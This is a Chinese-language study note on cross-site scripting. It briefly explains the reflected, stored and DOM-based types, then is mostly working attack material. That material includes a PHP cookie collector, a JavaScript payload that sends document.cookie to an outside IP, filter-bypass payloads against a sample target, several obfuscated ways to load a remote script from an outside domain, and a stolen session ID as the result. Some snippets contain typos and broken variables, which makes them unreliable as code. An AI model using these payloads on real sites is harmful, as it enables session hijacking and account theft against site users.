XSS漏洞学习
什么是XSS漏洞
XSS漏洞,跨站脚本漏洞(Crscading Style Scheets,CSS),允许恶意用户将代码植入到Web网站,供其他用户访问,其他用户访问到有恶意代码的网页就产生了XSS攻击。
危害
盗取账户,控制企业数据,盗窃资料,非法转账,强制发送电子邮件,网站挂马
分类
反射型
非持久化,需要欺骗用户自己点击链接出发XSS代码
存储型
持久化,恶意代码存储在服务器中,例如在个人信息发表或文章发表等地方加入代码,没有过滤或者过滤不严就会导致代码进入存储到服务器中,用户访问时就会触发。
dom型
DOM,Domcument Object Model,一个平台和语言都中立的接口,可以使用程序和脚本能够动态的访问和更新文档的内容、结构已经样式。
DOM型XSS本质时一种特护类型的反射型XSS,时基于DOM文档对象的一种漏洞,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。使用js脚本对文档的对象进行编辑从而修改页面内容
document.referer属性
window.name属性
location属性
innerHTML属性
document.write属性
一般的都会进行url编码,浏览器也带有XSS过滤器
XSS利用
xss.php
<?php
@ini_set('display_errors',1);
$str = $_GET['joke'];
$filePath = "joke.php";
$handler = fopen($filePath,"a");
fwrite($handler,$str);
fclose($handler);
?>
xss.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://192.168.0.133/xss.php?joke='+encodeURIComponent(document.cookie);
XSS绕过
大小写绕过
http://target_sys.com/xss/xss04.php?name=<Script>alert(1)</Script>
属性多余
http://target_sys.com/xss/xss05.php?name=<script<script>>alert(1)</sc</script>ript>
转换标签
http://target_sys.com/xss/xss06.php?name=<img onerror=alert(1) src=a>
禁用alert
http://target_sys.com/xss/xss07.php?name=<img onerror="confirm(1)" src=a>
js输出
http://target_sys.com/xss/xss08.php?name=moon";alert(1);//
js过滤输出
http://target_sys.com/xss/xss09.php?name=moon';alert($a);//
dom输出
hash属性是一个可读可写的字符串,是URL的锚部分(从#开始的部分)
location.hash.substring(1):从#开始截取之后的字符
http://target_sys.com/xss/xss10.php?name=moon#<script>alert(1)</script>
仅限IE浏览器(不进行url编码)
urlcss
http://target_sys.com/xss/xss11.php/%22%20onsubmit=%22alert(1)
过滤特殊字符
php开启gpc后单引号,双引号,NULL字符都会加上反斜线//
过滤大于小于号
http://target_sys.com/xss/xss12.php/' onmouseover = 'javascript:alert(1);'
加载payload
<script src="http://www.rickc131.com/xss.js"></script>
成功后可以在joke.php看到
PHPSESSID=fg00p1uutd9r8n5snhsl6utj55
使用XSS平台可直接使用成熟的代码
标准script加载
<script src="http://www.rickc131.com/xss.js"></script>
<script src="//www.rickc131.com/xss.js"></script>
img
<img src=x onerror=createElement('script');body.appendChild(s);s.src='http://www.rickc131.com/xss.js';>
字符拼接
<script>z='dcoument.'</script>
<script>z=z+'write'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'rickc131'</script>
<script>z=z+'.com/x'</script>
<script>z=z+'ss.js><sc'</script>
<script>z=z+'ript'</script>
<script>z=z+'eval(z)'</script>
jquery加载
<scritp src="http://code.jquery.com/jquery-1.9.1.min.js"></scritp>
<script>$.getscript("//www.rickc131.com/xss.js")</script>